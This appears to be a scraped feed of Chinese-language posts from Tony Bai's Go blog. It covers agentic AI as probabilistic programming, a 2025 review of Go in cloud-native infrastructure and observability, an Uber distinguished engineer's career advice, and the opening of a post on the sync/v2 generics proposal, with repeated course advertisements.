这就是“实习生 + 计算器”模式：\n你指挥实习生（AI），实习生去按计算器（经典 App）。\n在这个架构中，经典应用/服务并没有死，它们退隐到了后台，变成了 Agent 手中的 Tools。\n程序员的进化：从“编写逻辑”到“管理概率” 面对这种架构的崩塌与重建，我们这一代程序员的技能树需要重构。\n1. 别扔掉你的 SQL 和 Go\nAgent 再聪明，也需要“手脚”。高质量的、原子化的、幂等的 API 变得比以往任何时候都重要。你需要把复杂的业务逻辑封装成 AI 能看懂的 Tool Description（工具描述）。经典后端开发依然是地基。\n2. 学习“概率工程学” (Probability Engineering)\n你不再是写 if-else 的人，你是 Agent 的老师。\nPrompt Engineering： 编写清晰的岗位说明书。 RAG (检索增强)： 给实习生提供准确的参考书，减少幻觉。 Eval (评估)： 建立一套评价体系，去测试这个“实习生”在 1000 次任务中的表现是否达标（而不是纠结于某一次的对错）。 3. 学会设计“护栏”\n既然实习生不可控，你就需要设计审查机制。在 Agent 输出结果给用户之前，加一层确定性的校验代码（比如：检查生成的 SQL 是否包含 DELETE 语句，检查生成的金额是否超过上限）。\n小结 回到最初的话题。我们并不是在简单的“重做”软件，我们是在培育一个新的物种。\n以前，我们强迫人去适应机器，学习机器的菜单和逻辑；\n现在，机器终于开始适应人，试图理解我们的模糊与混沌。\n虽然这个过程充满了不确定性，充满了“幻觉”和挑战，但这正是进化的代价。梭哈 Agentic AI 之前，请先接受这个世界的随机性，然后用你精湛的工程能力，给它套上逻辑的缰绳。\n聊聊你的“人机协作”体验\n“确定性”与“概率性”的碰撞，正在重塑我们的代码世界。在你的开发实践中，是否也遇到过因 LLM 的“不确定性”而抓狂的时刻？你是如何给这位“聪明实习生”设计“护栏”的？对于这种全新的“概率性”编程范式，你是感到兴奋还是焦虑？\n欢迎在评论区分享你的思考与实战经验！ 让我们一起探索这个新时代的生存法则。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/04/thoughts-before-all-in-agentic-ai/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/thoughts-before-all-in-agentic-ai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/04/thoughts-before-all-in-agentic-ai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/04/thoughts-before-all-in-agentic-ai\"\u003ehttps://tonybai.com/2025/12/04/thoughts-before-all-in-agentic-ai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你在 IT 行业待得够久，最近可能会有一种强烈的“既视感”。\u003c/p\u003e\n\u003cp\u003e现在的 AI 热潮，像极了当年的移动互联网元年。VC 们兴奋地喊着“所有行业都值得用 AI 重做一遍”。于是我们看到了 AI 版的 Office、AI 版的客服、AI 版的 IDE。表面上看，这确实是历史周期的又一次轮回：\u003cstrong\u003e新平台出现，旧应用迁移\u003c/strong\u003e。\u003c/p\u003e","title":"别盲目梭哈 Agentic AI！先看清“确定性”的崩塌与“概率性”重建"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/03/go-2025-cloud-native-observability-report\n大家好，我是Tony Bai。\n2025年，对于 Go 语言和云原生生态来说，是充满挑战与变革的一年。\n凭借务实的并发模型、极快的编译速度和极简的部署体验，Go 语言在过去十年间毫无争议地坐稳了现代云原生基础设施的“铁王座”。从 Kubernetes 到 Docker，从 Prometheus 到 etcd，CNCF 生态中那些最耀眼的明星项目，几乎都流淌着 Go 的血液。\n但技术世界没有永远的王座。2025年，面对日益复杂的云原生挑战——如容器资源的极致限制、大规模并发状态管理，以及来自 Rust 等追求极致性能的新生代语言的“围剿”——Go 语言并非高枕无忧。\n面对挑战，Go 在 2025 年交出了一份怎样的答卷？它是如何通过 Go 1.25 的底层性能革新、Kubernetes 的架构演进以及 OpenTelemetry 的生态防御来巩固壁垒的？\n本文将带你全景式复盘 Go 语言在 2025 年的硬核反击战。\n底层突破：Go 1.25 为云原生带来的“性能红利” 所有上层应用的性能飞跃，都源自底层的坚实支撑。面对“性能不够极致”的质疑，2025年8月发布的 Go 1.25 祭出了近年来针对云原生场景最“贴心”的三大杀招，直接回击了对 Go 运行时的效率诟病。\nCgroup 智能感知：终于读懂了容器的心 长期以来，Go 应用在容器中运行时有一个痛点：GOMAXPROCS 默认会“误以为”自己拥有宿主机的所有逻辑 CPU 资源。当容器被 Cgroup V2 严格限制了 CPU 配额（Quota）时，Go 运行时仍会创建过多的系统线程，导致严重的上下文切换（Context Switching）和性能抖动。\nGo 1.25 终于引入了 Cgroup-Aware GOMAXPROCS。Go 运行时现在能周期性地自动检测容器的 Cgroup CPU 配额，并动态调整内部的并发级别。这直接减少了无谓的线程争用，让运行在 Kubernetes Pod 中的 Go 服务（尤其是那些资源受限的 Sidecar 或 Agent）无需人工调优即可获得更稳定、更高效的表现。\nGreenTea GC：向“GC 暂停”宣战 为了应对高吞吐量场景下的延迟敏感需求，Go 1.25 带来了实验性的 GreenTea GC。这是一款专门针对**“小对象密集型”**应用（如日志收集器、OpenTelemetry Collector、K8s 控制器）进行优化的垃圾回收器。\nGreenTea GC 改进了内存局部性，并大幅提高了标记阶段的并行性。在典型负载下，总体 GC 开销降低约 40%，显著改善了 P99 尾部延迟。这是 Go 在面对 Rust “零成本抽象”挑战时的一次强力技术回应，证明了带 GC 的语言在高性能领域依然能打。\nJSON/v2：零内存分配的极速体验 标准库中的 encoding/json 曾是著名的性能瓶颈，其依赖运行时的反射机制导致了较高的 CPU 和内存消耗。Go 1.25 重写的 encoding/json/v2 彻底改变了这一局面。 这次重写带来了 3-10 倍 的反序列化速度提升，并实现了关键的**“零堆内存分配”**特性。对于 Kubernetes API Server 这种每天处理海量 JSON 配置和状态更新的组件来说，这意味着巨大的 CPU 周期节省和内存压力释放，直接提升了整个集群控制平面的吞吐上限。\n基础设施：Kubernetes 与容器运行时的演进 Kubernetes v1.35：更聪明的 AI 调度 作为 Go 语言的“长子”，Kubernetes 在 2025 年 11 月迎来了 v1.35 版本。除了常规的稳定性提升，最引人注目的是其调度器针对 AI/ML 工作负载的进化。这意味着 K8s 能够更精细地处理 AI 训练任务对 GPU、内存等资源的苛刻要求，实现基于阈值的资源匹配。Go 语言高效的并发模型支撑了这一日益复杂的调度逻辑。\n同时该新版本还引入了基于阈值的Extended Toleration Operators，新增了 Gt (大于) 和 Lt (小于) 等逻辑。\n除了 v1.35 的调度增强，K8s 在 2025 年上半年的两个版本中也引入了多项值得关注的改进：\nDRA (Dynamic Resource Allocation) 走向稳定：在 v1.34 中，DRA 的核心 API 将升级为 Stable。这为 GPU 等硬件加速器提供了更加灵活、标准化的资源请求和分配机制，摆脱了过去对非透明参数的依赖。 Sidecar 容器支持增强：虽然 Service Mesh 正在去 Sidecar 化，但 K8s 本身对 Sidecar 的原生支持却在加强。v1.33 引入了 In-place Pod Resize（原地调整 Pod 资源）的 Beta 支持，允许在不重启 Pod 的情况下动态调整容器的 CPU/内存限制，这对有状态应用和长连接服务至关重要。 安全性加固：v1.33 默认启用了对 Linux Pod 的 User Namespaces 支持，显著降低了容器逃逸风险；同时，kubelet 开始支持使用 ServiceAccount Token 拉取镜像，逐步淘汰长期的 Image Pull Secrets。 容器运行时：containerd vs. CRI-O 的双雄格局 在彻底移除 dockershim 后，容器运行时生态形成了双雄并立的局面，且均由 Go 语言驱动：\ncontainerd：功能全面、极其稳定，支持镜像管理、零停机更新，是 AWS EKS、Google GKE 等云厂商的默认首选。\nCRI-O：极简主义，专为 K8s 设计，启动更快，资源占用更低，适合边缘计算等对资源敏感的场景。\n警钟长鸣：containerd 内存泄露事件 2025 年 11 月披露的 containerd 漏洞 (CVE-2025-64329) 给 Go 开发者敲响了警钟。该漏洞存在于 CRI Attach 实现中，用户重复调用 kubectl attach 可能导致 Goroutine 泄露，进而耗尽宿主机内存。这也反向推动了 Go 运行时可观测性的重要性（详见下文）。即便是内存安全的语言，如果并发控制不当，依然会导致资源枯竭。\nOperator 的安全模型升级 Kubernetes Operator 是 Go 生态的另一大杀手锏。2025 年，Operator SDK 和 Kubebuilder 终于移除了对外部 kube-rbac-proxy 的依赖，转而使用 controller-runtime 库内置的 WithAuthenticationAndAuthorization 功能。指标端点（Metrics Endpoint）的安全保护逻辑被直接集成在 Go 代码的控制循环中。其带来的价值是架构更简单，攻击面更小，部署 Operator 变得“默认安全”。\n架构演进：Service Mesh 与 Serverless 的新篇章 Istio Ambient Mesh：全面去 Sidecar 化 服务网格正在经历一场革命。2025 年，Istio 全力推广 Ambient Mesh 模式，旨在移除侵入式的 Sidecar 代理，提供更轻量、更快速的体验。\n控制平面：Go 语言编写的控制平面（Istiod）在其中扮演了指挥官的角色，负责管理这一新型架构。\n多集群突破：Istio 1.27 (Alpha) 引入了 Ambient 模式下的多集群流量管理，允许企业以Active-Active 模式运行高可用服务，利用 Go 驱动的控制逻辑优化跨区域流量成本。\nKnative 毕业：Serverless 的成熟里程碑 2025 年 10 月，Knative 正式从 CNCF 毕业，标志着 Go 语言构建的 Serverless 抽象层已经完全成熟。Knative Eventing 新增了 RequestReply 资源，加强了同步与异步工作负载之间的桥接能力，进一步巩固了 Go 在构建复杂事件驱动架构（EDA）中的统治地位。\nGo 在 IaC 中的隐形统治 在基础设施即代码（IaC）领域，虽然 Terraform (HCL) 占据前台，但如 Pulumi 和 AWS CDK 等开发者优先平台，正大量利用 Go 语言的静态类型优势和丰富的库生态作为后端逻辑支撑，提升了 IaC 的测试能力和抽象水平。\n可观测性：OpenTelemetry 的“默认稳定”战略 OTel Go SDK：从“可用”到“默认稳定” OpenTelemetry (OTel) 是云原生可观测性的事实标准。2025 年 11 月，OTel 治理委员会宣布了战略调整：确保所有分发版**“默认稳定” (stable by default)**。\n同时，OTel Go SDK 的 Traces 和 Metrics 组件均已达到 Stable 状态，Logs SDK 处于 Beta。这标志着 Go 生态的可观测性基石已完全成熟，企业可放心在生产环境大规模部署。\n运行时指标：从“Opt-In”到“Opt-Out” 为了更好地诊断像 containerd 内存泄露这样的问题，OTel Go SIG 正在推进一项关键变更：将 Go Runtime Metrics（如 GC 暂停时间、堆内存使用、Goroutine 数量）从“选择性开启”改为**“默认开启” (Opt-Out)**。这意味着运维人员能“开箱即用”地看到 Go 应用的内部健康状况，配合 OTel 的语义惯例，能够更早地发现由 GC 或并发引起的潜在风险。\n配置简化：YAML/JSON 文件支持 为了降低在 K8s 中的部署难度，OTel Go SDK 正在增强对 YAML/JSON 文件配置的支持，改变了过去过度依赖环境变量的局面，提升了配置的灵活性和易用性。\n里程碑：OpenTelemetry eBPF Instrumentation (OBI) 正式发布 2025 年 11 月，OpenTelemetry 社区迎来了一个重磅时刻：OpenTelemetry eBPF Instrumentation (OBI) 发布了首个 Alpha 版本。\n零侵入，全覆盖：OBI 利用 eBPF 技术在内核层进行观测，无需修改代码、无需重启服务、无需引入任何应用依赖，即可实现对 HTTP, gRPC, SQL (MySQL, PostgreSQL), Redis, Kafka 等多种协议的自动追踪和指标采集。 多语言一致性：无论你的应用是 Go, Java, Python 还是 Node.js 编写的，OBI 都能提供统一、标准的遥测数据。这对于那些包含遗留系统或多语言技术栈的企业来说，是实现全链路可观测性的“银弹”。 与 SDK 的互补：OBI 并非要取代传统的 SDK 插桩。它更适合作为“基线”观测手段，快速覆盖所有服务；而对于需要深入应用内部逻辑（如业务埋点、复杂上下文传播）的场景，结合使用 OTel Go SDK 依然是最佳实践。 巅峰对决：Go vs. Rust 在 2025 我们在这里回答前面的问题：面对 Rust 的围剿，Go 守住了吗？\nGo 的基本盘（铁王座）：在控制平面（Control Plane）、API 网关、K8s Operator 以及企业级微服务等需要快速迭代、高并发协作的领域，Go 依然是绝对王者。其极低的心智负担、极高的开发效率和成熟的生态，是 Rust 短期内难以撼动的。 Rust 的突围（特种兵）：在数据平面（Data Plane）（如 Envoy 插件）、高性能计算等对内存安全和尾部延迟有苛刻要求的领域，Rust 凭借“零 GC”和编译期内存安全检查，确实撕开了一道口子，比 Go 快约 1.5 倍，且没有 GC 抖动。 2025 年的格局：Go 没有坐以待毙。通过 GreenTea GC 降低 40% 的 GC 开销，通过 JSON/v2 消除反射带来的性能损耗，Go 正在努力拉高性能下限，防止被 Rust 侵蚀核心领地。对于大多数云原生应用来说，Go 依然是综合成本（开发效率+运行效率）最低、最稳妥的选择。\n总结与建议 2025 年，Go 语言没有停下脚步。通过 Go 1.25 的底层革新，它补齐了在容器化环境和 JSON 处理上的短板；通过 K8s 和 OTel 的持续演进，它在云原生生态中构建了更坚固的防线。\n面对 Rust 的围剿，Go 不仅守住了铁王座，还通过自我进化，让这个王座变得更加稳固。\n给技术团队的建议：\n尽快升级：将核心服务升级到 Go 1.25+，白嫖 Cgroup 感知和 JSON 性能提升，这对于降本增效立竿见影。 拥抱 OTel：采用 OpenTelemetry Go SDK(虽然有些复杂^_^)，并利用默认开启的运行时指标，建立更精细的监控体系，防范 Goroutine 泄露等隐形杀手。 理性选型：对于绝大多数业务服务和控制平面，坚持使用 Go；只有在极少数对延迟极其敏感、且逻辑相对稳定的数据平面组件中，才考虑引入 Rust。 Go 的 2025，是稳中求进、自我革新的一年。云原生的未来，依然写满了 Go 的名字。\n参考资料 本文基于 2025 年多份权威技术报告与社区动态整理而成，涵盖 CNCF、Go 官方博客、Kubernetes 发布说明及 OpenTelemetry 社区公告等。\nGolang in 2025: Usage, Trends, and Popularity - Medium, accessed November 28, 2025, https://medium.com/@datajournal/golang-in-2025-usage-trends-and-popularity-3379928dd8e2 The Go Ecosystem in 2025: Key Trends in Frameworks, Tools, and Developer Practices, accessed November 28, 2025, https://blog.jetbrains.com/go/2025/11/10/go-language-trends-ecosystem-2025/ Go: Driving The Next Wave of Cloud-Native Infrastructure - Open Source For You, accessed November 28, 2025, https://www.opensourceforu.com/2025/11/go-driving-the-next-wave-of-cloud-native-infrastructure/ Go 1.25 Highlights: How Generics and Performance Define the …, accessed November 28, 2025, https://dev.to/leapcell/go-125-highlights-how-generics-and-performance-define-the-future-of-go-4pdh Kubernetes v1.35 Sneak Peek, accessed November 28, 2025, https://kubernetes.io/blog/2025/11/26/kubernetes-v1-35-sneak-peek/ Kubernetes v1.35 Release Highlights #2903 - GitHub, accessed November 28, 2025, https://github.com/kubernetes/sig-release/discussions/2903 Top Docker Alternatives in 2025: A Complete Guide - DataCamp, accessed November 28, 2025, https://www.datacamp.com/blog/docker-alternatives 15 Best Docker Alternatives for 2025: Complete Guide with Pros, Cons \u0026amp; Migration, accessed November 28, 2025, https://signoz.io/comparisons/docker-alternatives/ CVE-2025-64329: containerd CRI server: Host memory exhaustion through Attach goroutine leak - GitLab Advisory Database, accessed November 28, 2025, https://advisories.gitlab.com/pkg/golang/github.com/containerd/containerd/v2/CVE-2025-64329/ CVE-2025-64329: containerd CRI Attach Memory DoS - Miggo Security, accessed November 28, 2025, https://www.miggo.io/vulnerability-database/cve/CVE-2025-64329 operator-framework/operator-sdk: SDK for building Kubernetes applications. Provides high level APIs, useful abstractions, and project scaffolding. - GitHub, accessed November 28, 2025, https://github.com/operator-framework/operator-sdk Repo for the controller-runtime subproject of kubebuilder (sig-apimachinery) - GitHub, accessed November 28, 2025, https://github.com/kubernetes-sigs/controller-runtime Metrics - The Kubebuilder Book, accessed November 28, 2025, https://book.kubebuilder.io/reference/metrics.html?highlight=metr Istio / Istio Roadmap for 2025-2026, accessed November 28, 2025, https://istio.io/latest/blog/2025/roadmap/ Cloud Native Computing Foundation Announces Knative’s Graduation | CNCF, accessed November 28, 2025, https://www.cncf.io/announcements/2025/10/08/cloud-native-computing-foundation-announces-knatives-graduation/ The 16 Best Infrastructure As Code (IaC) Tools In 2025 - Apiiro, accessed November 28, 2025, https://apiiro.com/blog/best-iac-tools/ Evolving OpenTelemetry’s Stabilization and Release Practices, accessed November 28, 2025, https://opentelemetry.io/blog/2025/stability-proposal-announcement/ Go - OpenTelemetry, accessed November 28, 2025, https://opentelemetry.io/docs/languages/go/ OpenTelemetry Go 2025 Goals, accessed November 28, 2025, https://opentelemetry.io/blog/2025/go-goals/ Configuration - OpenTelemetry, accessed November 28, 2025, https://opentelemetry.io/docs/collector/configuration/ Prometheus with Grafana: 5 Compelling Use Cases - Tigera.io, accessed November 28, 2025, https://www.tigera.io/learn/guides/prometheus-monitoring/prometheus-grafana/ Top Prometheus Exporters in 2025 and How to Use Them Effectively - GoCodeo, accessed November 28, 2025, https://www.gocodeo.com/post/top-prometheus-exporters-in-2025-and-how-to-use-them-effectively Rust vs Go in 2025: Comparison of Performance, Complexity, and …, accessed November 28, 2025, https://evrone.com/blog/rustvsgo Rust vs Go: Which one to choose in 2025 | The RustRover Blog, accessed November 28, 2025, https://blog.jetbrains.com/rust/2025/06/12/rust-vs-go/ Your Complete Guide to KubeCon + CloudNativeCon North America 2025 | CNCF, accessed November 28, 2025, https://www.cncf.io/blog/2025/11/06/your-complete-guide-to-kubecon-cloudnativecon-north-america-2025/ 还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/03/go-2025-cloud-native-observability-report/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-2025-cloud-native-observability-report-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/03/go-2025-cloud-native-observability-report\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/03/go-2025-cloud-native-observability-report\"\u003ehttps://tonybai.com/2025/12/03/go-2025-cloud-native-observability-report\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2025年，对于 Go 语言和云原生生态来说，是充满挑战与变革的一年。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e凭借务实的\u003ca href=\"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzIyNzM0MDk0Mg==\u0026amp;action=getalbum\u0026amp;album_id=4105816518230016005#wechat_redirect\"\u003e并发模型\u003c/a\u003e、极快的编译速度和极简的部署体验，Go 语言在过去十年间毫无争议地坐稳了现代云原生基础设施的“铁王座”。从 \u003ca href=\"https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster\"\u003e\u003cstrong\u003eKubernetes\u003c/strong\u003e\u003c/a\u003e 到 \u003cstrong\u003eDocker\u003c/strong\u003e，从 \u003cstrong\u003ePrometheus\u003c/strong\u003e 到 \u003cstrong\u003eetcd\u003c/strong\u003e，CNCF 生态中那些最耀眼的明星项目，几乎都流淌着 Go 的血液。\u003c/p\u003e","title":"Go 2025云原生与可观测年度报告：底层性能革新与生态固防"},{"content":"只要 Title 带“工程师”，你就必须写代码：Uber 杰出工程师的硬核建议 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n只要 Title 带“工程师”，你就必须写代码：Uber 杰出工程师的硬核建议 十二月 2, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/02/advices-from-uber-distinguished-engineer\n大家好，我是Tony Bai。\n“如果你不写代码，你就不是一个软件工程师。”\n这句话出自前 Uber 杰出工程师 (Distinguished Engineer) Joakim Recht 之口。在他看来，无论你的级别有多高，哪怕到了 Principal 或 Distinguished 级别，只要头衔里还有“工程师”这三个字，你就必须保持手感，持续编码。\n近日，Joakim 接受了一次深度访谈，回顾了他在 Uber 从一名普通高级工程师一路成长为杰出工程师的完整历程。他不但分享了那个让他获得关键晋升的“史诗级”项目，还坦诚地谈论了办公室政治、不公平的晋升制度、以及他对“影响力”的独特理解。\n这既是一个成功者的故事，也是一份关于如何在大型科技公司中保持清醒、持续成长并最终实现自我价值的深度指南。\n晋升的秘密 —— 影响力不是“求”来的，是“做”出来的 Joakim 的晋升之路，始于一个朴素的愿望：懒惰。\n起初，他只是负责管理一个名为 Schemaless 的数据存储系统。每次由于硬件故障需要替换主节点时，都需要手动操作 Puppet，繁琐且易错。\n“我真的不喜欢重复做同样的事情。” Joakim 说。于是，他和团队开始尝试将数据库容器化，通过 Docker 来自动化管理这些操作。\n这个最初只为了解决“自己团队痛点”的小项目，最终演变成了一个庞大的内部平台（Odin），接管了 Uber 几乎所有的有状态负载。在他离开时，这个平台管理着 12 万台物理服务器和 50 万个数据库实例，而核心维护团队只有 20 人。\n给我们的启示：\nJoakim 并没有在一开始就画一个“我要掌管全公司数据库”的大饼。他的影响力扩张遵循了一个自然的路径：\n解决自己的痛点：自动化自己团队的重复劳动。 解决邻居的痛点：把工具推广给旁边的团队。 解决公司的痛点：逐步扩展到更广泛的组织，最终成为全公司的基础设施。 真正的晋升，是对你影响力范围 的自然确认，而不是因为你填写了一份完美的晋升文档。\n关于“写代码”的执念 —— 拒绝成为“白板架构师” 在许多大厂，晋升往往意味着“远离代码”，转向文档、会议和 PPT。但 Joakim 对此坚决说 不。\n“如果你停止写代码，你就会失去对系统的感知。你或许能画出高层的架构图，但那些设计往往会脱离现实。当你把设计扔给别人实现时，他们会想：‘这是哪个不懂装懂的家伙画的？’”\n他认为，保持 Hands-on (亲力亲为) 有两个巨大的好处：\n保持信任：如果团队成员知道你不仅懂业务，还能写出高质量的代码，甚至愿意干“脏活累活”，他们会更愿意听取你的建议。 保持敏锐：只有在代码一线，你才能第一时间感知到系统的腐坏和痛点，从而做出正确的架构决策。 对于那些只想做“高大上”设计，把“简单工作”丢给下属的高级工程师，Joakim 建议反其道而行之：把困难的、有趣的工作委派给团队成员，让他们成长；你自己去承担那些枯燥的、修修补补的“脏活”。 这不仅能赢得尊重，还能让你从微小处发现系统性的改进空间。\n面对“不公平”的晋升 —— 心态决定一切 Joakim 并不避讳谈论大公司的阴暗面。他回忆起早期的 Uber 晋升委员会，那就是一场“没有任何数据支持的、纯粹靠经理口才”的辩论赛。\n“这完全取决于你的经理有多擅长推销你。如果你有一个糟糕的经理，你就完蛋了。”\n即使在制度完善后，绝对的公平依然不存在。项目被砍、依赖方掉链子、甚至仅仅是因为团队整体表现不佳，都可能成为你晋升路上的绊脚石。\n他的建议：\n不要成为“晋升驱动开发” (Promotion Driven Development) 的奴隶。专注于提供价值。 “只要你持续地解决问题、消除浪费、帮助他人，晋升通常会随之而来。如果你整天焦虑于‘如何找到一个能让我晋升的项目’，你反而可能动作变形，最终一无所获。” 影响力的最高境界 —— “盗梦空间” 当被问及如何有效地影响他人时，Joakim 分享了一个类似《盗梦空间》的技巧：最好的结果，是让对方觉得那是他们自己的主意。\n不要试图用权威压人，也不要指望每个人都能立刻被你的逻辑说服。有时候，你只需要在对话中种下一颗种子。\n“也许几个月后，你会听到他们在讨论你的想法，甚至充满激情地捍卫它，仿佛那是他们自己想出来的。那一刻，你就赢了。不要去争夺功劳，要享受这种‘想法生根发芽’的成就感。”\n小结：给年轻自己的建议 在访谈的最后，Joakim 给年轻的自己（以及所有年轻工程师）提了一条建议：保持好奇，不要被吓倒。\n“那些看起来很厉害的人，其实也是普通人。他们可能只是比你多了一些经验，或者更擅长包装自己。不要因为觉得某件事‘太难’或‘太高端’就不敢去尝试。计算机科学不是火箭科学（虽然有些也是），它只是计算机而已。保持好奇心，去尝试，去犯错，这是成长的唯一捷径。”\n资料链接：https://www.youtube.com/watch?v=feNh_ubBAMI\n你的看法是什么？\nJoakim 的观点非常犀利，尤其是关于“级别越高越要写代码”的论断。结合你所在的团队或公司，你认同这个观点吗？在你身边，那些高T/P的架构师们，还在坚持写代码吗？如果不写，他们是如何保持对系统的敏锐度的？\n欢迎在评论区分享你的观察和思考！ 让我们一起探讨工程师的终极成长之路。\n如果这篇文章给你带来了新的职业启发，别忘了点个【赞】和【在看】，并分享给身边正在为晋升或成长感到困惑的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/02/advices-from-uber-distinguished-engineer/","summary":"\u003ch1 id=\"只要-title-带工程师你就必须写代码uber-杰出工程师的硬核建议---tony-bai\"\u003e只要 Title 带“工程师”，你就必须写代码：Uber 杰出工程师的硬核建议 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"只要 Title 带“工程师”，你就必须写代码：Uber 杰出工程师的硬核建议"},{"content":"Brad Fitzpatrick 也等不及了！sync.Map 的泛型进化与 sync/v2 的诞生之路 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nBrad Fitzpatrick 也等不及了！sync.Map 的泛型进化与 sync/v2 的诞生之路 十二月 1, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/01/proposal-sync-v2\n大家好，我是Tony Bai。\n当 Go 核心团队前成员、著名 Gopher、net/http包的设计者 Brad Fitzpatrick 在 GitHub 上留下上图中的这句评论并甩出一个自己移植的库时，我们知道，sync/v2 的到来不仅仅是一个提案，更是一种迫切的刚需。\n随着 math/rand/v2 在 Go 1.22, json/v2 在 Go 1.25 中的成功落地，Go 标准库的 v2 化进程似乎已经按下了加速键。今年1月份，Go 核心团队成员 Ian Lance Taylor 就提交了sync/v2 的提案 (#71076)。\n这可不仅仅是一次简单的版本号升级，它标志着 Go 语言最核心的并发原语包，也终于要拥抱泛型，告别 interface{} 时代了。\n在本文中，我们将深入剖析这份提案的核心内容，探讨它将如何重塑 Go 的并发编程体验，以及社区为此展开的激烈辩论。\n核心痛点：any 的原罪 目前的 sync 包，特别是 sync.Map 和 sync.Pool，设计于 Go 支持泛型之前。它们被迫使用 any (即 interface{}) 来处理各种类型的数据。这带来了两个无法忽视的问题：\n类型安全缺失：编译器无法阻止你往一个本该只存字符串的 sync.Map 里塞进一个整数，或者从 sync.Pool 里取出一个你以为是 []byte 实际上是 *bytes.Buffer 的东西。所有的错误只能在运行时通过 panic 暴露。 性能损耗：将非指针类型（如 int、string）存入 any 类型的容器，必须进行装箱（boxing），这不仅增加了 CPU 开销，更重要的是会产生额外的内存分配，加重 GC 负担。对于追求极致性能的并发场景，这是不可接受的。 sync/v2 